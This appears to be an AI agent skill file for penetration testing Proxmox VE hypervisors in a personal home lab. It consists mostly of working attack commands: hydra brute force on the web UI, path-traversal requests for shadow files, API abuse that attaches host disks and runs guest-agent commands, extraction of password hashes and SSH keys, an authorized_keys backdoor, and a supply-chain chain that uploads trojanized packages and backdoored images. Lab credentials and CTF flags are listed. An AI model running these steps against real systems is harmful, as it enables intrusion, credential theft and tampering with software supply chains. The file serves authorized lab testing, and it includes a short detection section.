| name | proxmox-pentesting |
| description | Pentesting Proxmox VE hypervisors — KVM/QEMU guest escape, LXC breakouts, Proxmox API/web interface exploitation, VM disk access, network pivoting, and post-exploitation. Use when testing Proxmox-managed virtualization environments. |
Proxmox VE Penetration Testing
Use this skill when testing Proxmox VE 8.x / 9.x hypervisors. Proxmox is a Debian-based, open-source virtualization platform managing both KVM/QEMU VMs and LXC containers via a central web interface (port 8006) and REST API.
Attack Surface Overview
Proxmox Host (Debian)
├── Web UI (TCP 8006 - pveproxy)
├── SPICE Proxy (TCP 3128 - spiceproxy)
├── VNC/Console (TCP 5900-5999 - per-VM VNC)
├── SSH (TCP 22)
├── REST API (TCP 8006 - JSON endpoint, same port as web UI)
├── corosync cluster (ports depend on config)
└── Migration/Backup (ports depend on storage config)
├── KVM VMs (full virtualization)
└── LXC CTs (OS-level containers, kernel-sharing)
1. Reconnaissance & Discovery
1.1 Network & Service Discovery
nmap -sV -sC -p 22,8006,3128,5900-5910 192.168.8.111
nmap -sU -p 5404,5405,5406 192.168.8.111
curl -skI https://192.168.8.111:8006/
openssl s_client -connect 192.168.8.111:8006 -servername 192.168.8.111 2>/dev/null | openssl x509 -noout -text | head -20
1.2 Proxmox Version Fingerprinting
curl -skI https://192.168.8.111:8006/ 2>&1 | grep -i 'server\|pve\|version'
curl -sk https://192.168.8.111:8006/api2/json/version 2>&1
ssh root@192.168.8.111 "pveversion"
ssh root@192.168.8.111 "pveversion -v | head -20"
1.3 Enumerate VMs & Containers (authenticated)
TICKET=$(curl -sk -d 'username=root@pam&password=PASSWORD' https://192.168.8.111:8006/api2/json/access/ticket | jq -r '.data.ticket')
CSRF=$(curl -sk -d 'username=root@pam&password=PASSWORD' https://192.168.8.111:8006/api2/json/access/ticket | jq -r '.data.CSRFPreventionToken')
curl -sk -b "PVEAuthCookie=$TICKET" -H "CSRFPreventionToken: $CSRF" https://192.168.8.111:8006/api2/json/cluster/resources | jq '.data[] | {id, name, type, status, node, vmid}'
curl -sk -b "PVEAuthCookie=$TICKET" https://192.168.8.111:8006/api2/json/nodes/pve/lxc | jq '.data[] | {vmid, name, status}'
curl -sk -b "PVEAuthCookie=$TICKET" https://192.168.8.111:8006/api2/json/nodes/pve/storage | jq '.data[] | {storage, type, content}'
1.4 Proxmox CVEs Quick Reference
| CVE | Component | Impact | Fixed In |
|---|
| CVE-2023-3262 | pveproxy | Unauthenticated file read | pve-manager 7.4-3 |
| CVE-2022-3126 | pveproxy | Session cookie prediction | pve-manager 7.2-4 |
| CVE-2021-3656 | Debian kernel | LXC escape via missing namespace restrictions | Kernel patch |
| CVE-2020-1611 | pveproxy | Directory traversal in static file handler | pve-manager 6.2-12 |
| CVE-2024-1095 | pveproxy | HTTP2 request smuggling | pve-manager 8.1-5 |
| CVE-2024-0230 | QEMU/KVM | OOB read in virtio-net | qemu 8.2.0 |
| CVE-2023-5088 | QEMU/KVM | OOB write in e1000e NIC | qemu 8.1.1 |
Check current version against CVEs:
pve-manager: 9.1.6
qemu-server: depends on proxmox-ve version
pve-kernel: 6.17.13-2-pve
2. Web UI Attack Surface (Port 8006)
2.1 Auth Bypass & Credential Attacks
hydra -l root -P /usr/share/wordlists/rockyou.txt -s 8006 https-post-form \
"/api2/json/access/ticket:username=root@pam&password=^PASS^:Invalid login" -t 4
ssh root@192.168.8.111 "cat /etc/pve/priv/token.cfg"
2.2 Session Token Handling
curl -sk -D- -d 'username=root@pam&password=PASSWORD' https://192.168.8.111:8006/api2/json/access/ticket 2>&1 | head -20
curl -sk -b "PVEAuthCookie=STOLEN_TICKET" https://192.168.8.111:8006/api2/json/cluster/resources
2.3 Path Traversal / File Read
curl -sk https://192.168.8.111:8006/../../etc/pve/shadow.cfg
curl -sk https://192.168.8.111:8006/pve2/../../../etc/shadow
curl -sk https://192.168.8.111:8006/pve2/css/../api2/json/version
3. API Exploitation
3.1 Proxmox REST API Endpoints
The API is at /api2/json/ and uses PVEAuthCookie + CSRFPreventionToken for auth.
curl -sk https://192.168.8.111:8006/api2/json/ | jq
curl -sk -b "PVEAuthCookie=$TICKET" -H "CSRFPreventionToken: $CSRF" \
https://192.168.8.111:8006/api2/json/nodes | jq
curl -sk -b "PVEAuthCookie=$TICKET" -H "CSRFPreventionToken: $CSRF" \
https://192.168.8.111:8006/api2/json/access/users | jq
curl -sk -b "PVEAuthCookie=$TICKET" -H "CSRFPreventionToken: $CSRF" \
https://192.168.8.111:8006/api2/json/access/acl | jq
3.2 API Token Abuse
curl -sk -H "Authorization: PVEAPIToken=root@pam!codex=TOKEN_VALUE" \
https://192.168.8.111:8006/api2/json/cluster/resources | jq
curl -sk -H "Authorization: PVEAPIToken=root@pam!codex=TOKEN_VALUE" \
https://192.168.8.111:8006/api2/json/access/permissions | jq
3.3 Privilege Escalation via API
curl -sk -X POST -b "PVEAuthCookie=$TICKET" -H "CSRFPreventionToken: $CSRF" \
-d "vmid=999&name=exploit-vm&memory=512&cores=1&storage=local-zfs" \
https://192.168.8.111:8006/api2/json/nodes/pve/qemu
curl -sk -X POST -b "PVEAuthCookie=$TICKET" -H "CSRFPreventionToken: $CSRF" \
-d "scsi2=/dev/sda&format=raw" \
https://192.168.8.111:8006/api2/json/nodes/pve/qemu/101/config
curl -sk -X POST -b "PVEAuthCookie=$TICKET" -H "CSRFPreventionToken: $CSRF" \
-d "command=exec&data=cat /etc/shadow" \
https://192.168.8.111:8006/api2/json/nodes/pve/qemu/101/agent/exec
4. Guest Escape Techniques
4.1 LXC Container Escape
LXC shares the host kernel — unprivileged containers use user namespaces but are still vulnerable to kernel exploits that break out of namespaces.
ssh root@192.168.8.111 "cat /etc/pve/nodes/pve/lxc/*.conf | grep -E 'features|privileged|unprivileged'"
LXC Escape Attack Vectors:
ssh root@192.168.8.111 "cat /etc/pve/nodes/pve/lxc/*.conf | grep -E 'mp0|mp1|mp2'"
4.2 KVM/QEMU Guest Escape
QEMU escapes are rarer but higher impact — they give host-level code execution from inside a VM.
ssh root@192.168.8.111 "qemu-system-x86_64 --version"
KVM/QEMU Attack Vectors:
ssh root@192.168.8.111 "cat /etc/pve/nodes/pve/qemu-server/*.conf | grep -E 'hostpci|vfio'"
ssh root@192.168.8.111 "dmesg | grep -i iommu"
4.3 VM Disk Image Access
ssh root@192.168.8.111 "ls /dev/tank/vm-101-disk-*" 2>&1
ssh root@192.168.8.111 "
zfs snapshot tank/vm-101-disk-0@pentest
zfs clone tank/vm-101-disk-0@pentest tank/pentest-clone
mkdir -p /mnt/pentest-vm
mount -t zfs tank/pentest-clone /mnt/pentest-vm
ls /mnt/pentest-vm/
umount /mnt/pentest-vm
zfs destroy tank/pentest-clone
zfs destroy tank/vm-101-disk-0@pentest
"
ssh root@192.168.8.111 "cat /etc/pve/nodes/pve/qemu-server/101.conf"
5. Post-Exploitation
5.1 VM Disk Extraction & Analysis
ssh root@192.168.8.111 "qemu-img convert -f raw -O qcow2 /dev/tank/vm-101-disk-0 /tmp/vm101-disk.qcow2"
scp root@192.168.8.111:/tmp/vm101-disk.qcow2 /home/dazeb/Downloads/
guestfish -a /tmp/vm101-disk.qcow2 -i <<EOF
ls /
cat /etc/shadow
cat /etc/ssh/ssh_host_rsa_key
EOF
5.2 QEMU Guest Agent Exploitation (agent=1)
If a VM has agent: 1 in its config (QEMU guest agent running):
ssh root@192.168.8.111 "grep -l 'agent:\\s*1' /etc/pve/nodes/pve/qemu-server/*.conf"
ssh root@192.168.8.111 "qm guest exec 101 -- cat /etc/shadow"
ssh root@192.168.8.111 "qm guest exec 101 -- id"
ssh root@192.168.8.111 "qm guest exec 101 -- cat /home/user/.ssh/id_rsa"
ssh root@192.168.8.111 "qm guest exec 101 -- bash -c 'echo \"ssh-rsa AAA...\" >> /root/.ssh/authorized_keys'"
5.3 Network Pivoting
ssh root@192.168.8.111 "
ovs-vsctl -- --id=@p get port vmbr0 -- --id=@m create mirror name=mirror0 select-all=true output-port=@p -- set bridge vmbr0 mirrors=@m
"
ssh -L 8080:127.0.0.1:8006 -i ~/.ssh/id_ed25519 root@192.168.8.111 -N &
ssh root@192.168.8.111 "nmap -sn 192.168.8.0/24"
ssh -J root@192.168.8.111:22 user@10.66.0.x
5.4 Backup & Snapshot Manipulation
ssh root@192.168.8.111 "cat /etc/pve/vzdump.cron"
ssh root@192.168.8.111 "ls -la /mnt/backups/dump/"
ssh root@192.168.8.111 "tar -xzf /mnt/backups/dump/vzdump-qemu-101-*.vma.gz -C /tmp/vm-extract/"
6. Detection & Hardening Notes
What to Look For (Red Team = what defenders should see)
- QEMU guest agent exec logs (pvedaemon journal)
- API token creation/deletion events
- New VM creation on production hosts
- ZFS snapshot creation by unknown users
- SSH login to non-standard users
- Port scans from Proxmox host IP
- vmbr bridge traffic anomalies
- Guest agent exec commands via `qm guest exec`
- Disk attach/detach operations in qemu-server config histories
Defensive Verification Steps
ssh root@192.168.8.111 "journalctl -u pvedaemon --since '24 hours ago' | grep -E 'guest exec|delete VM|create VM|password change'"
ssh root@192.168.8.111 "cat /var/log/pveproxy/access.log | tail -50"
ssh root@192.168.8.111 "zfs list -t snapshot -r tank"
ssh root@192.168.8.111 "for vm in \$(qm list | awk 'NR>1{print \$1}'); do qm guest exec \$vm -- cat /root/.ssh/authorized_keys 2>/dev/null; done"
Proxmox LXC Pitfalls
pct exec kills background processes
Python daemon threads started via pct exec -- python3 ... & will die when the pct exec session closes. LXC attaches to the session and terminates it on disconnect. nohup does not help.
Wrong:
pct exec 310 -- python3 << 'PYEOF' &
PYEOF
Right — use systemd units:
cat > /tmp/service.py << 'PYEOF'
PYEOF
cat > /tmp/service.service << 'UNIT'
[Unit]
Description=My Service
[Service]
ExecStart=/usr/bin/python3 /opt/service.py
Restart=always
[Install]
WantedBy=multi-user.target
UNIT
pct push 310 /tmp/service.py /opt/service.py
pct push 310 /tmp/service.service /etc/systemd/system/service.service
pct exec 310 -- systemctl daemon-reload
pct exec 310 -- systemctl enable --now service
SSH quoting through pct exec
Do not nest complex commands through ssh → pct exec → bash -c. The escaping stack will corrupt variables. Instead, write scripts to the Proxmox host filesystem, use pct push to deliver them into containers, then execute.
Environment-Specific Notes (This Lab)
Target: 192.168.8.111 (Proxmox 9.1.6)
SSH Key: ~/.ssh/id_ed25519 (root@192.168.8.111)
Proxmox Creds: root@pam with password in ~/.ssh/pve-root-password-20260328.txt
Web UI: https://192.168.8.111:8006/
API: https://192.168.8.111:8006/api2/json/
VMs & Containers of Interest:
| VMID | Name | Status | Notes |
|---|
| 101 | dietpi | running | Personal server — OFF LIMITS |
| 500 | victim-web | running | Pentest target — intentionally vulnerable |
| 107 | dietpi-gpu | stopped | Has GPU PCI passthrough |
| 200 | Windows-Gaming | stopped | Windows VM |
| 201 | Linux-Workstation | stopped | Dev workstation |
| 203 | botron-target | stopped | Pre-existing target VM (8GB, cloud-init: botron) |
| 100 | whisparr | stopped | LXC |
| 103 | cloudflared | running | LXC, cloudflare tunnel |
| 104 | overseerr | running | LXC |
| 105 | matrix | running | LXC |
Networks:
- vmbr0: 192.168.8.111/24 (main LAN, bridged to enp6s0)
- vmbr1: 10.66.0.1/24 (isolated/internal)
- eno1: 192.168.8.111/24 (physical)
Storage:
- local-zfs (zfspool) — tank pool, VM images
- local-hdd (dir) — /mnt/backups, ISO/snippets/backups
- local (dir) — /var/lib/vz, templates
- local-lvm (lvmthin) — additional VM images
Victim Target — victim-web (500)
Created specifically for pentesting practice. Intentionally vulnerable LXC container at 192.168.8.50.
| Attack Vector | Details |
|---|
| SSH (root) | root / pass123 |
| SSH (devops) | devops / Password1 — ALL=(ALL) NOPASSWD sudo |
| SSH (intern) | intern / welcome123 — sudo /usr/bin/less /root/root.txt |
| Web (nginx) | http://192.168.8.50/ |
| Admin panel | POST /admin/check.php — creds: admin / letmein (reveals root flag) |
| Exposed .env | http://192.168.8.50/.env.bak (db creds + API key) |
| Exposed SSH key | http://192.168.8.50/backup/id_rsa (intern's private key) |
| phpinfo | http://192.168.8.50/phpinfo.php |
| .bash_history leak | intern's home: mysql -u admin -pSuperSecretDB2026! -h 10.66.0.10 |
| User flag | /home/devops/user.txt — CTF{pr1v4t3_k3y_1n_h0m3_d1r} |
| Root flag | /root/root.txt — CTF{r00t_0n_th3_w3b_s3rv3r_2026} |
Privilege Escalation Paths:
- devops → sudo ANY command (trivial)
- intern → sudo /usr/bin/less /root/root.txt (read root flag)
- Exposed SSH key from /backup/ → log in as intern
- .env.bak gives DB creds and API key (lateral movement signal)
References:
references/cve-deep-dive.md — Full CVE inventory with version-specific status for QEMU 10.2.1, LXC 6.0.5, kernel 6.17.13-pve
references/lxc-operations.md — LXC container creation, SSH quoting pitfalls, pct push usage, common gotchas (root dir perms, SSH config, kernel sharing)
Scripts:
scripts/proxmox-enum.sh — One-shot enumeration of a Proxmox host (versions, VMs, networking, storage, users, firewall, backups)
8. Tools Installation Reference
Local Machine (attacker/analysis box — Hermes/WSL)
sudo apt-get install -y qemu-utils libguestfs-tools openvswitch-switch hydra sshpass jq nmap curl
qemu-img --version
guestfish --version
ovs-vsctl --version
Already installed on this Hermes host: nmap, curl, jq, hydra, sshpass.
Proxmox Host (target)
apt-get install -y hydra sshpass
Already installed on pve (192.168.8.111): nmap, curl, jq, qemu-img, guestfish, ovs-vsctl, zfs.
9. Pitfalls & Gotchas (from Live Engagements)
SSH Key Exposure — Verify authorized_keys
When exposing a private key in a web directory, the public key must also be installed in the user's ~/.ssh/authorized_keys. Generating the keypair alone is not enough — if you skip this step, SSH will fail with Permission denied (publickey,password) even though the key file exists.
/root Directory Permissions Block Web App Access
/root has default permissions drwx------ (700). Even if a flag file inside /root is world-readable (644), web server users (www-data, nobody, etc.) cannot traverse the directory. Fix: Either chmod o+x /root or place flags in a web-accessible location like /var/www/flags/.
less Privesc Requires TTY
sudo /usr/bin/less is only fully exploitable in an interactive session — the !bash escape requires a real PTY. From scripts or non-interactive SSH commands, it can only be used to read privileged files directly (e.g., sudo less /root/root.txt). For shell access, use ssh -t or pct enter for a proper PTY.
Double-SSH Script Deployment
When deploying files through ssh root@pve → pct exec CTID -- bash -c "...", shell quoting becomes a nightmare. Preferred pattern:
ssh root@pve 'cat > /tmp/script.sh << "EOF"
#!/bin/bash
... script content ...
EOF
pct push CTID /tmp/script.sh /root/script.sh
pct exec CTID -- bash /root/script.sh'
echo "filecontent" | ssh root@pve 'cat - | pct push CTID - /path/in/ct'
LXC Daemon Persistence — Use Systemd
Background processes spawned via pct exec die when the exec session terminates. The only reliable way to keep services running inside LXC containers is systemd unit files:
cat > /opt/myservice.py << 'PYEOF'
import http.server, socketserver
socketserver.TCPServer(("0.0.0.0", 8888), Handler).serve_forever()
PYEOF
cat > /etc/systemd/system/myservice.service << 'UNIT'
[Unit]
Description=My Service
After=network.target
[Service]
ExecStart=/usr/bin/python3 /opt/myservice.py
Restart=always
[Install]
WantedBy=multi-user.target
UNIT
systemctl daemon-reload && systemctl enable --now myservice
Zero-install deployment: All LXC containers ship with Python 3 stdlib. Deploy services with stdlib-only code to avoid apt-get timeouts (MySQL, Docker, etc. are too heavy for rapid lab builds).
API Version Endpoint Changed in 9.x
In Proxmox 9.x, the unauthenticated /api2/json/version endpoint returns empty. Use an API token (curl -H "Authorization: PVEAPIToken=...) or SSH to get version info.
10. Supply Chain Attack Chain
When pivoting from an initial compromised host into an isolated internal network (e.g., from vmbr0 to vmbr1), the attack cascades through the software delivery pipeline.
Architecture
victim-web (vmbr0) → cred leak → CI runner (vmbr1) → Dep Proxy → Artifact Registry → Production
│ │ │
deploy keys poisoned pkg backdoored image
Step-by-Step
1. Initial Pivot — Use a dual-homed container (e.g., sc-attacker on both vmbr0 and vmbr1) or SSH tunnel through the Proxmox host:
ssh root@pve "pct start 320"
ssh root@pve "pct exec 320 -- nmap -sV 10.66.0.10-13"
2. CI Runner Enumeration — The build database leaks deploy keys to production:
curl http://10.66.0.10:9000/ | jq '.[] | {project, secret, deployed}'
3. Dependency Poisoning — Upload a trojanized package to the internal proxy:
curl -X POST http://10.66.0.11:8888/upload \
-H "Content-Type: application/json" \
-d '{"name":"internal-lib","version":"9.9.9"}'
4. Registry Tampering — Push a backdoored image:
curl -X PUT http://10.66.0.12:5000/v2/internal-api/manifests/v9.9.9
5. Dev Workstation Secrets — Extract all credentials:
pct exec 313 -- cat /home/dev/projects/internal-api/.env
pct exec 313 -- cat /home/dev/projects/internal-api/api.py
Full Architecture & Kill Chain
See references/supply-chain-lab.md for the complete lab topology, deployment scripts, real-world equivalents, and the systemd zero-install pattern.
references/engagement-lessons.md — Detailed gotchas and fixes from live pentest sessions
references/cve-deep-dive.md — CVE inventory for QEMU, LXC, kernel
scripts/proxmox-enum.sh — One-shot host enumeration
scripts/setup-victim.sh — Deploy a deliberately vulnerable LXC target
11. Related Skills
Load these alongside for deeper dives:
performing-privilege-escalation-on-linux — guest escape techniques
detecting-container-escape-attempts — LXC breakout detection
scanning-network-with-nmap-advanced — host/service discovery
performing-web-application-penetration-test — web UI attack
conducting-api-security-testing — REST API testing
performing-ssl-tls-security-assessment — TLS inspection
exploiting-race-condition-vulnerabilities — race conditions
testing-for-broken-access-control — authz bypass
conducting-internal-network-penetration-test — lateral movement